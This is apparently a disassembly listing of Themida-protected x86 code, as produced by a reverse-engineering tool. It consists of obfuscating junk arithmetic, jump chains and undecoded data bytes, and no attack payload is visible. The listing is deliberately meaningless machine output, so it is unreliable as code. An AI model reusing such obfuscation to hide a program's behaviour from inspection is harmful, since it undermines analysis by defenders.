; ---------------------------------------------------------------------------


loc_592169:				; CODE XREF: Themida_:0059B376j
		mov	edi, edx
		pop	edx
		and	edi, 3A2F0288h
		shl	edi, 3
		push	ebp
		mov	ebp, 32517A6Eh
		sub	ebp, 1C45085Eh
		sub	ebp, 5111428Eh
		or	ebp, 67D63493h
		add	ebp, 79720C71h
		push	ebx
		mov	ebx, 1062192Ah
		sub	ebp, 10F33527h
		sub	ebp, ebx
		add	ebp, 10F33527h
		pop	ebx
		xor	edi, ebp
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 28D86B0Ah
		mov	ebx, 0D72794F5h
		add	ebx, 1421184h
		add	ebx, ebp
		sub	ebx, 1421184h
		mov	ebp, [esp]
		jmp	loc_595581
; ---------------------------------------------------------------------------


loc_5921CD:				; CODE XREF: Themida_:005969BCj
		and	esi, 3C285A39h
		sub	esi, 0B173E771h
		add	ebx, esi
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_59B64A
; ---------------------------------------------------------------------------
		dd 4E981h, 0C870000h, 5EE95C24h, 0FF0000FAh, 30E92434h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5921FB:				; CODE XREF: Themida_:005A6728j
		sub	eax, 4
		jmp	loc_59B3A0
; ---------------------------------------------------------------------------


loc_592205:				; CODE XREF: Themida_:005951EFj
		sub	edx, 67C38B5Fh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 49E36AF3h
		add	esi, 730601D3h
		jmp	loc_59446A
; ---------------------------------------------------------------------------
		db 64h
		dd 2B60F66h, 4228E9h
		db 0
; ---------------------------------------------------------------------------


loc_592231:				; CODE XREF: Themida_:0059B92Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E96A
; ---------------------------------------------------------------------------


loc_59223E:				; CODE XREF: Themida_:0059DC5Dj
		pop	esi
		add	esp, 4
		push	esi
		sub	dword ptr [esp], 30CC4D0Dh
		pop	eax
		jmp	loc_596E0F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F7CE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59225A:				; CODE XREF: Themida_:005A235Dj
		xchg	esi, edx
		jmp	loc_5A6E02
; ---------------------------------------------------------------------------
aCiSti		db ',CˆÆéâˆ',0
		align 2
		dw 591h
aFWSI		db 'ä',0Bh,'w;é%‰',0
		dd 81EFD100h, 0C5100FF7h, 5FFB013Dh, 8B241C87h,	0BD552424h
		dd 2, 875DEE01h, 248B2434h, 48B6624h, 4EC8324h,	0FAB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5922A1:				; CODE XREF: Themida_:005A4758j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebx
		push	esi
		push	326004Dh
		jmp	loc_59A267
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C281DAF7h, 548A61AAh, 1081CE9h, 66EB8100h, 5D010F31h
		dd 1C8BDE89h, 4C48324h,	4244481h, 52CB58F7h, 4244481h
		dd 53F11D37h, 0BF8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5922F5:				; CODE XREF: Themida_:00598E2Dj
		mov	[esp], ebp
		mov	ebp, 2
		push	ebx
		mov	ebx, ebp
		push	ebx
		sub	dword ptr [esp], 1FA5388Fh
		jmp	loc_59F375
; ---------------------------------------------------------------------------
aBIqSpf		db 'Â×iï;épf',0
		align 4
aZSW		db '‡<$é&W',0
		align 10h
		dd 5C6E73BEh, 0F90FE968h, 505B0000h, 0D8F68BB0h, 0D0F67824h
		dd 4D8F6h, 8058C630h, 0F68001EEh, 0FFEE80C9h, 2E38E9h
		dd 0C0D1F600h, 0C98004E9h, 28E98084h, 0B559CB88h, 0D753E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59235E:				; CODE XREF: Themida_:0059FD0Dj
		add	[esp+4], esi
		pop	esi
		jmp	loc_5A2DF7
; ---------------------------------------------------------------------------
		dd 0DEE9DE01h, 5400010Bh, 0E924348Bh, 11603h, 15FF901h
		dd 240C8BCEh, 129A6E9h,	48B6600h, 488C6824h, 0C890000h
		dd 68E18924h, 3F25h, 87F4E9h, 5EF32900h, 10200E9h, 71BF5700h
		dd 294E7756h, 243C8BF9h, 4EC81h, 4EE90000h, 5800007Bh
		dd 4EC81h, 2AE90000h, 0BD000078h, 1AFC2090h, 0E959CD31h
		dd 105F0h
; ---------------------------------------------------------------------------


loc_5923D4:				; CODE XREF: Themida_:005A440Fj
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_5989C3
; ---------------------------------------------------------------------------


loc_5923EE:				; CODE XREF: Themida_:005A22ECj
		sub	edi, esi
		pop	esi
		neg	edi
		jmp	loc_593EEE
; ---------------------------------------------------------------------------
		dd offset dword_49005C+1CD0Ch
		dd 24148900h, 0DF80E9h,	4CC58100h, 0F726D669h, 0BBED81D5h
		dd 813C3E54h, 9E5CCDCDh, 9CF5812Bh, 0E93BFB8Ah,	1161Fh
		dd 4C781h, 0EF810000h, 4, 8B243C87h, 3C892424h,	61E0BF24h
		dd 0FB010492h, 5D0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_592445:				; CODE XREF: Themida_:005935F8j
		mov	ecx, 224F283Ch
		xor	edx, ecx
		jmp	loc_59D041
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 699563EBh, 0FEC781B6h, 810C783Bh, 940AEAEFh,	0CCEF8166h
		dd 0E932DD4Bh, 3D6Eh, 0B8240489h, 0C03957h, 0F701C083h
		dd 0BEBF57D0h, 8125FF3Fh, 962398F7h, 81D7F776h,	433E44F7h
		dd 4E7C15Dh, 8107E7C1h,	0B0363AEFh, 0E9F80177h,	0E47Eh
		dd 0E7895759h, 4C781h, 0C7830000h, 8BEE904h, 0BB530001h
		dd 4, 4245C01h,	24348B5Bh, 4C481h, 0BA520000h, 4, 685AD601h
		dd 350Ch, 0E9240489h, 12A32h, 0C281E289h, 4, 2929E9h
		db 0
; ---------------------------------------------------------------------------


loc_5924ED:				; CODE XREF: Themida_:005934DBj
		xor	ebx, 0A8A042Bh
		jmp	loc_59CBEB
; ---------------------------------------------------------------------------
		dd 23AC681h, 0FAE94838h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_592503:				; CODE XREF: Themida_:005A4345j
		mov	edi, 10BA7C85h
		add	edi, 52ED10A5h
		jmp	loc_59B8AC
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 0F856h, 8B240433h, 0CD802424h, 6BE58041h
		dd 9BE4E9h, 5E08900h, 4, 12E30E9h, 5FF80100h, 31240433h
		dd 4332404h, 25E95C24h,	83FFFFFAh, 1DE904C4h, 81FFFFFAh
		dd 4C4h, 52D0F700h, 5C6613BAh, 7EAC15Bh, 2A2CA81h, 0C2836723h
		dd 1308E9FFh
		db 1, 0
; ---------------------------------------------------------------------------


loc_592572:				; CODE XREF: Themida_:005A58A9j
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------
		db 68h
		dd 16990D64h, 2868525Dh, 89000029h, 0AAB82404h,	0E97C5902h
		dd 0CE0Eh, 0DC365CBEh, 82A9E9AFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5925A2:				; CODE XREF: Themida_:005979AAj
		and	eax, 3B5232D4h
		xor	eax, 5F39397Fh
		jmp	loc_59D227
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0D7h
		dd 0C1688612h, 0C14605E6h, 35E906EEh, 8BFFFFFFh, 89662424h
		dd 0ECE92404h, 8900002Ch, 0AF9E9E2h, 0BD550001h, 6566156Fh
		dd 5B6FC581h, 41E97318h, 5B000003h, 2A0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5925ED:				; CODE XREF: Themida_:0059FF8Dj
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_59B74F
; ---------------------------------------------------------------------------


loc_5925F7:				; CODE XREF: Themida_:005A1BC6j
		pop	ebx
		or	edx, 6E92C73h
		jmp	loc_599667
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF968h, 63AEEF81h, 0CF814FE7h, 7FE642F4h, 138CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_592619:				; CODE XREF: Themida_:0059D729j
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_5A6EF0
; ---------------------------------------------------------------------------
		db 83h
		dd 0C33104C4h, 29C368h,	24048900h, 0FFF92FE9h, 59CB29FFh
		dd 2ABABE56h, 5AE94E43h, 81000149h, 3A0E9BC7h, 0B3B85040h
		dd 90A251Dh, 0DFF758C7h, 0A06EF781h, 0F829A752h, 12D50E9h
		db 0
; ---------------------------------------------------------------------------


loc_59266D:				; CODE XREF: Themida_:005A03CEj
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	eax, 1B2C7153h
		add	eax, ebx
		xor	[eax], ecx
		pop	eax
		jmp	loc_59D765
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 31240433h, 0E1682404h, 8900000Fh, 14F72404h,	24048B24h
		dd 6804C483h, 48E9h, 0FF240489h, 0FF042474h, 34FF2434h
		dd 25BAE924h, 0FD680001h, 0E900000Bh, 6851h, 592434FFh
		dd 8A04C483h, 88042454h, 8B042464h, 0C4832404h,	0F89AE904h
		dd 0E789FFFFh, 4C781h, 0C7810000h, 4, 8B243C87h, 34FF2424h
		dd 24048B24h, 66D268h, 243C8900h, 253AE954h, 6C290001h
		dd 6C810424h, 58DD0424h, 56E90BBAh, 0E90000F5h,	0FFFFF85Ch
; ---------------------------------------------------------------------------


loc_592714:				; CODE XREF: Themida_:005A4FC2j
		popa
		jmp	loc_5A3E94
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0F6BC05CCh, 11D83E9h, 5FFD2900h, 0F703EDC1h,	0CCED81DDh
		dd 31EDD7D9h, 0B023E9EAh, 0C1810000h, 4, 0A4C4E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592746:				; CODE XREF: Themida_:0059951Dj
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 49E50044h
		mov	edx, 70C40F21h
		sub	edx, esi
		pop	esi
		xor	ebx, edx
		jmp	loc_59823A
; ---------------------------------------------------------------------------
		dd 0E914F780h, 0F619h, 4240481h, 8B000000h, 0A2E92414h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59277B:				; CODE XREF: Themida_:0059E6F4j
		mov	ebx, 69E82818h
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_59DDD4
; ---------------------------------------------------------------------------


loc_592794:				; CODE XREF: Themida_:0059B132j
		mov	ebp, 5CD803F6h
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404A3h, 0FFFE5AE9h, 1567BAFFh, 0EC8355C7h, 243C8904h
		dd 7017B850h, 8BBF56B6h, 0E92E0E57h, 6E5Ah
; ---------------------------------------------------------------------------


loc_5927C4:				; CODE XREF: Themida_:0059EBCEj
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 4D41500Dh
		mov	ebx, 0B2BEAFF5h
		jmp	loc_59DF6A
; ---------------------------------------------------------------------------
		dd 4BD55h, 0E8010000h, 0B0E9505Dh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5927E7:				; CODE XREF: Themida_:00598FA1j
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		jmp	loc_59C41F
; ---------------------------------------------------------------------------


loc_5927F2:				; CODE XREF: Themida_:00592EEFj
		xor	ebx, ecx
		pop	ecx
		and	ebx, 37CB6B6Ah
		add	ebx, 207151BFh
		and	edi, ebx
		pop	ebx
		push	ebx
		jmp	loc_5A4917
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 8704C583h, 8F5C242Ch, 248B2404h, 0C896624h, 0F74AE924h
		dd 0C481FFFFh, 4, 14210E9h, 59EB8100h, 8B1C2F74h, 54532404h
		dd 6EBE565Bh, 0E95F9D20h, 13383h, 0ABB3E62Dh, 7645E93Bh
		dd 89660000h, 0FEE95AD6h, 830000B1h, 0C78104C4h, 4, 5704C783h
		dd 52ADE9h, 4FC3BA00h, 55E95DCAh, 5C00003Eh, 83242489h
		dd 8B042404h, 57E92434h, 0E900002Bh, 0FFFFF6E4h, 0DBB5351h
		dd 0B9264B0Dh, 264B0D11h, 815BD929h, 0B0534DEFh, 81CF0145h
		dd 0B0534DC7h, 39F2E945h, 0F8290001h, 2404335Fh, 0D76AE9h
		dd 243C8700h, 2414895Ch, 24148B54h, 18C5E9h, 81E38900h
		dd 4C3h, 0E519E900h, 0BA520000h, 9F55950h, 8245401h, 244C295Ah
		dd 246C8104h, 0F5595004h, 0F5ECE909h, 0B1510000h, 52C180C6h
		dd 0C9FED1F6h, 0CD67E9h
		db 0
; ---------------------------------------------------------------------------


loc_592901:				; CODE XREF: Themida_:0059C932j
		pop	ecx
		sub	ecx, 6A817C55h
		mov	eax, [esp]
		jmp	loc_5A38AC
; ---------------------------------------------------------------------------
aBsAzcYbZyIwST	db 'é!§ç)ÎYư‡Y-‰w$^éÛâ',0
		align 4
		dd 38BEC581h, 814D5279h, 507780EDh, 92BA52CBh, 4A086625h
		dd 1415C281h, 0D2E94CD4h, 0B9000116h, 37A21970h, 3159CA31h
		dd 522D5AD5h, 29016E47h, 15BE56E8h, 0F77A2046h,	99EE81DEh
		dd 5847172h, 0A0E777Ch,	0FFF72AE9h, 0C30159FFh,	4EC8158h
		dd 89000000h, 6856243Ch, 11F620AFh, 38BFE9h, 1C77FF00h
		dd 6659669Dh, 9C2414D3h, 0FFF5D7E9h, 0E9C209FFh, 6A1Dh
		dd 8924248Bh, 14F6240Ch, 0C9805924h, 0C1C180A1h, 56E9C828h
		db 41h,	1, 0
; ---------------------------------------------------------------------------


loc_5929B7:				; CODE XREF: Themida_:0059F5DCj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_598D52
; ---------------------------------------------------------------------------


loc_5929C9:				; CODE XREF: Themida_:00593585j
		add	edi, 4
		jmp	loc_5A39FD
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 8904EC83h, 0E589242Ch, 4EC8356h, 50241C89h
		dd 1308BE9h, 2434FF00h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	418Dh
		mov	[esp], edx
		jmp	loc_5A262C
; ---------------------------------------------------------------------------
aSy		db '\éYÎ',0
		align 2
		dw 0F901h
		dd 0F8C1815Fh, 8B3F0536h, 0C483241Ch, 7A6E6804h, 4890000h
		dd 4CD2E924h, 4050000h,	87000000h, 575C2404h, 4BFh, 8BFB2900h
		dd 7AE9243Ch
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592A4B:				; CODE XREF: Themida_:005A4F45j
		add	edi, ecx
		jmp	loc_59BCF7
; ---------------------------------------------------------------------------


loc_592A52:				; CODE XREF: Themida_:005A123Bj
		xor	dword ptr [esp], 72274A96h
		pop	edx
		xor	edx, 72274A96h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_593ACC
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 480C2517h, 1265F781h, 0FE315434h, 5EF7015Fh,	7C1AE9h
		dd 466B6800h, 34890000h, 59BF5724h, 0E9529179h,	0CEAAh
		dd 4743EB81h, 0DF2900CAh, 4EC815Bh, 89000000h, 74FF243Ch
		dd 34FF0424h, 49E95F24h, 81000076h, 0C1B710C5h,	86C281FCh
		dd 1278947h, 86EA81EAh,	5D278947h, 1B42F281h, 89515B2Ah
		dd 393FE9D1h, 14890000h, 3CB75324h, 10CF8E9h, 24343300h
		dd 0E9243431h, 113ABh, 24048B66h, 112ECE9h, 4AB96600h
		dd 0C801662Dh, 2D665966h, 0EC833F9Bh, 70BE904h,	44680001h
		dd 8900005Ch, 68662414h, 8966516Eh, 5250240Ch, 0EEC051B6h
		dd 3BCE8003h, 0A48BE9h,	48B5A00h, 4C48324h, 66243C86h
		dd 8324148Bh, 2F6802C4h, 89000056h, 0EC812404h,	4, 50240C89h
		dd 8C23E9h, 48B6600h, 29BD6824h, 1C890000h, 0E7895724h
		dd 7261BA52h, 814A5889h, 0F52FF7F2h, 93EA815Eh,	1067C5Dh
		dd 0EF815AD7h, 4, 8B243C87h, 8F542424h,	56502404h, 0E104B7BEh
		dd 3E68113h, 8155B23Ah,	8C6A2FEEh, 30C68150h, 893EEC6Ah
		dd 2434FFF0h, 4C4815Eh,	1000000h, 8B042444h, 0C4812404h
		dd 4, 0FF2434FFh, 515B2434h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0E9565C24h, 8E9Ah
; ---------------------------------------------------------------------------


loc_592BDC:				; CODE XREF: Themida_:0059EC73j
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	1C6Ch
		jmp	loc_5A43BE
; ---------------------------------------------------------------------------


loc_592BF4:				; CODE XREF: Themida_:0059AC2Dj
		sub	edx, 33B13029h
		jmp	loc_5A42FE
; ---------------------------------------------------------------------------
aVsI		db 'VéÂi',0
		db 0
; ---------------------------------------------------------------------------


loc_592C05:				; CODE XREF: Themida_:005A159Ej
		push	ecx
		mov	ch, 5
		jmp	loc_5A1786
; ---------------------------------------------------------------------------


loc_592C0D:				; CODE XREF: Themida_:0059D2E1j
		not	edx
		push	edi
		mov	edi, 54EA9A53h
		sub	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		push	eax
		jmp	loc_598CA1
; ---------------------------------------------------------------------------


loc_592C21:				; CODE XREF: Themida_:0059D922j
		pop	esp
		add	esp, 4
		push	44E8h
		jmp	loc_594E60
; ---------------------------------------------------------------------------


loc_592C2F:				; CODE XREF: Themida_:005985C3j
		pop	ecx
		xor	esi, [esp]
		jmp	loc_59BFCD
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 64E92414h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_592C43:				; CODE XREF: Themida_:005A264Fj
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592C4F:				; CODE XREF: Themida_:0059731Dj
		push	ebx
		mov	ebx, esp
		push	69C7h
		jmp	loc_59F22A
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FF21h, 0A41991B8h, 6E8C150h, 0C137652Dh
		dd 75BF2508h, 24E93DA8h, 0E90000CAh, 0FFFFF2F0h, 0A3C58BAh
		dd 55D2F77Dh, 464DE9h, 24048300h, 0BF575A04h, 4BC31FE2h
		dd 1629EF81h, 6AE92D4Bh
		db 20h,	1, 0
; ---------------------------------------------------------------------------


loc_592CA3:				; CODE XREF: Themida_:0059D40Bj
		sub	ecx, 0FAE7F912h
		mov	edi, ecx
		pop	ecx
		sub	edi, 0BD44EC3h
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0DD926B3h
		sub	eax, 0DC939BFh
		jmp	loc_59897C
; ---------------------------------------------------------------------------
		dd 4C381h, 0EC830000h, 242C8904h, 5B80E9h, 4B800h, 0C6010000h
		dd 4EC8158h, 89000000h,	69BA2414h, 0F73F910Ah, 81EAD1D2h
		dd 7C0F28E2h, 0BB0FE953h, 0E7890000h, 4C781h, 0ED680000h
		dd 8900000Eh, 0B4E92434h, 52000128h, 4BAh, 0FFD30100h
		dd 835A2434h, 348904ECh, 81E68924h, 4C6h, 4C68100h, 87000000h
		dd 515C2434h, 4B9h, 59CB0100h, 129E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_592D4D:				; CODE XREF: Themida_:005A0E32j
		xor	eax, ecx
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3A4601FCh
		inc	esi
		push	edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		jmp	loc_596B03
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 8324248Bh, 0C8904ECh, 71E7E924h, 0B7530000h,	4FB768D4h
		dd 14890000h, 8007B624h, 0EE80A4CEh, 78EF80F1h,	0C780F700h
		dd 52665A78h, 12D52E9h,	24148B00h, 4C481h, 0D8040000h
		dd 5266E800h, 0D028D8B2h, 24148B66h, 2C481h, 80590000h
		dd 0C380C9C3h, 32B15171h, 8026C980h, 0C9FE90C9h, 713EE9h
		dd 24248900h, 4240481h,	5E000000h, 79685657h, 5E451F15h
		dd 5CADC681h, 0F789DD2Eh, 1E8DE95Eh, 0B9510001h, 0CF66DF72h
		dd 242C8151h, 13BB44BEh, 81243C8Bh, 4C4h, 0BEC78100h, 0E913BB44h
		dd 77EFh, 0D801665Eh, 241C8B66h, 6602C483h, 83707405h
		dd 3C8904ECh, 0FBBF6624h, 0C781665Bh, 0F766FB01h, 13CCE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592E3E:				; CODE XREF: Themida_:00598983j
		pop	edi
		add	eax, ecx
		push	ebp
		jmp	loc_59D7DB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E18191D0h, 2903236Eh, 3F8BE9h, 241C8B00h, 4C481h, 2DE90000h
		dd 5F00008Fh, 2586F781h, 8158284Dh, 961BBF7h, 0EFD1473Fh
		dd 8308E7C1h, 48904ECh,	719B824h, 0C1480688h, 17E907E8h
		dd 8300006Ah, 3C8704EFh, 4895C24h, 5585424h, 4,	4BB53h
		dd 0D8290000h, 2404335Bh, 0E9240431h, 0C6DEh, 0AEA9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592EB6:				; CODE XREF: Themida_:00595CBEj
		xor	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4AF82DE2h
		xor	ebp, edi
		pop	edi
		dec	ebp
		sub	ebp, 1
		push	edx
		mov	edx, 42DF629Dh
		not	edx
		inc	edx
		inc	edx
		jmp	loc_595661
; ---------------------------------------------------------------------------
		dd 565D58BBh, 81D3F709h, 5B5E9DE3h, 770CE963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592EEA:				; CODE XREF: Themida_:0059A3CAj
		mov	ecx, 5DD03238h
		jmp	loc_5927F2
; ---------------------------------------------------------------------------
		dd 4C581h, 0E9500000h, 0A906h
; ---------------------------------------------------------------------------


loc_592F00:				; CODE XREF: Themida_:005A3866j
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_5A31DF
; ---------------------------------------------------------------------------


loc_592F17:				; CODE XREF: Themida_:005A6C22j
		push	eax
		jmp	loc_5A0933
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 20h
		dd 31866DD8h, 240C8BCEh, 9F3DE9h, 5AD08900h, 58E9E801h
		dd 8900002Ch, 0EA8158C2h, 32937F71h, 182868h, 240C8900h
		dd 0B02A85B9h, 2BC1811Ch, 810B5B3Bh, 0C61321C1h, 59CA093Ch
		dd 1416AE9h, 24343300h,	0F724248Bh, 7B7068F9h, 14890000h
		dd 16F5E924h, 0E9540000h, 682Eh, 0F800C181h, 0CB010470h
		dd 8B2434FFh, 0E2E9240Ch, 55000115h, 0DF1452BDh, 0C5814D05h
		dd 36260CE9h, 4506EDC1h, 0F256ED81h, 0E801D9A7h, 0E9C8295Dh
		dd 3926h, 6DBC68h, 241C8900h, 8852D788h, 8BF488FEh, 0C4832414h
		dd 548A5B04h, 64880424h, 9EE90424h, 5900009Dh, 7A74F181h
		dd 15D378Bh, 306859C8h,	8900000Eh, 9F68242Ch, 8B48D418h
		dd 8956242Ch, 4C681E6h,	83000000h, 343304C6h, 24343124h
		dd 0E9243433h, 398Ch, 5024148Bh, 405E089h, 83000000h, 48704C0h
		dd 24248B24h, 2C1C6855h, 4E9098Fh, 5E0000BDh, 5C24048Fh
		dd 0E9240489h, 100A9h
; ---------------------------------------------------------------------------


loc_593034:				; CODE XREF: Themida_:00598647j
		sub	edx, 65A0404h
		jmp	loc_59DC3A
; ---------------------------------------------------------------------------
		db 89h
		dd 7682404h, 89000039h,	4832424h, 48B0424h, 4C48124h, 83000000h
		dd 348904ECh, 457ABE24h, 0CE817B6Eh, 532A3602h,	9685153h
		dd 5938BF56h, 6841h, 0C290000h,	240C8B24h, 8104C483h, 0D8CD09F1h
		dd 4E951D5h, 81000034h,	4C7h, 4C78100h,	87000000h, 5CE9243Ch
		db 22h,	1, 0
; ---------------------------------------------------------------------------


loc_59309F:				; CODE XREF: Themida_:00593649j
		mov	ebp, 56F737E3h
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 6CDB6887h
		mov	edi, 0B4B4DF76h
		sub	edi, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_59FD85
; ---------------------------------------------------------------------------
		db 1
		dd 3C8758C7h, 89525C24h, 2A1AE9E2h, 1C870000h, 24248B24h
		dd 0F66E9F6h, 5456CCB6h, 0E924348Bh, 5F55h, 0BF19F381h
		dd 0DF01E20Fh, 81CF015Bh, 85232CEFh, 6853591Ah,	2A62h
		dd 0BF243C89h, 64236A75h, 9545E9h, 6AE98100h, 8152056Ah
		dd 160C3E9h, 0E674E95Dh, 0CF890000h, 0B4EAE9h, 24048900h
		dd 8853FC88h, 5B3988E7h, 241C8B58h, 0E904C483h,	42C2h
; ---------------------------------------------------------------------------


loc_593138:				; CODE XREF: Themida_:0059E4BDj
		add	esi, 3F9D6F06h
		sub	esi, 61653705h
		add	esi, 4BD7184Ch
		neg	esi
		sub	esi, 33822D9Dh
		jmp	loc_599156
; ---------------------------------------------------------------------------


loc_593157:				; CODE XREF: Themida_:005A47D2j
		add	ebp, edi
		jmp	loc_59D45B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2152E924h, 0F8000001h, 1C8B2F2Ch, 4C48124h, 28000000h
		dd 774DE9D0h, 0FF530000h, 0E9042474h, 10BDBh, 4C681h, 0C6810000h
		dd 4, 31243433h, 34332434h, 0A1BCE924h,	0E95C0000h, 0A67Ah
		dd 5F0C6856h, 348B6918h, 4C48124h, 0F7000000h, 0D8C681DEh
		dd 813E7D4Bh, 8EE145F6h, 4CD1E991h, 0EA810000h,	4, 1301CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5931D1:				; CODE XREF: Themida_:005A436Aj
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 69F3B850h, 0D0F70ADEh, 10536E9h, 740F6800h, 0EEE90000h
		dd 8900001Ah, 51572404h, 116D3E9h, 5AD60900h, 11D6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_593201:				; CODE XREF: Themida_:00593FDCj
		shr	ebx, 2
		xor	ebx, 778B6883h
		mov	esi, ebx
		jmp	loc_5990AA
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 7Bh
		dd 2138B315h, 0BE5658C3h, 39A80C96h, 0FFFFBD55h, 0EE01FFFFh
		dd 595EE9h, 58C68900h, 0BBEAE9h, 34875B00h, 0F385E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59323E:				; CODE XREF: Themida_:00598285j
		sub	ebx, eax
		push	ebp
		mov	ebp, 0B32114Fh
		neg	ebp
		jmp	loc_5A3A22
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C3h
		dd 4, 8B241C87h, 5BE92424h, 0F700013Ch,	81EE87DDh, 5F2DC2F6h
		dd 6EEC147h, 1236EE81h,	0F331D951h, 0CA99E9h
		db 0
; ---------------------------------------------------------------------------


loc_593279:				; CODE XREF: Themida_:005A668Cj
		push	58A3h
		jmp	loc_5A022D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FFECDFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593291:				; CODE XREF: Themida_:0059BFD8j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_593E87
		push	edx
		mov	edx, 20h
		sub	edx, 21EB3938h
		add	edx, edi
		push	1B8Bh
		mov	[esp], ebx
		mov	ebx, 21EB3938h
		add	edx, ebx
		pop	ebx
		push	eax
		push	ecx
		mov	ecx, 0
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ecx
		mov	eax, edx
		pop	edx
		pop	ecx
		mov	[edx], eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_59D3F4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 4DA4h, 37976855h
		dd 24890000h, 24048324h, 80BAE904h, 8B660000h, 0EC81240Ch
		dd 4, 68240489h, 1D27h,	83242489h, 58042404h, 0E904EC83h
		dd 5952h, 0E95EF089h, 1872h, 777D68h, 241C8900h, 0E224F1BBh
		dd 8BDF014Ch, 8952241Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 0FE015D5Ch, 42D02D5Fh, 7F2D2E8Bh, 2D39ED65h,	3F942C26h
		dd 0A8E9F001h, 400010Eh, 2CD800EEh, 3E1AE9EEh, 53040001h
		dd 532CE800h, 0DA22E9h,	240C8B00h, 2A81E9h, 0C1685300h
		dd 0E91ED377h, 9A84h, 2EC81h, 89660000h, 0B8B1240Ch, 5966CF00h
		dd 1C8BF800h, 4C48124h,	0E9000000h, 2E84h, 8E1AE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5933B6:				; CODE XREF: Themida_:00594904j
		push	edx
		sub	esp, 4
		mov	[esp], ecx
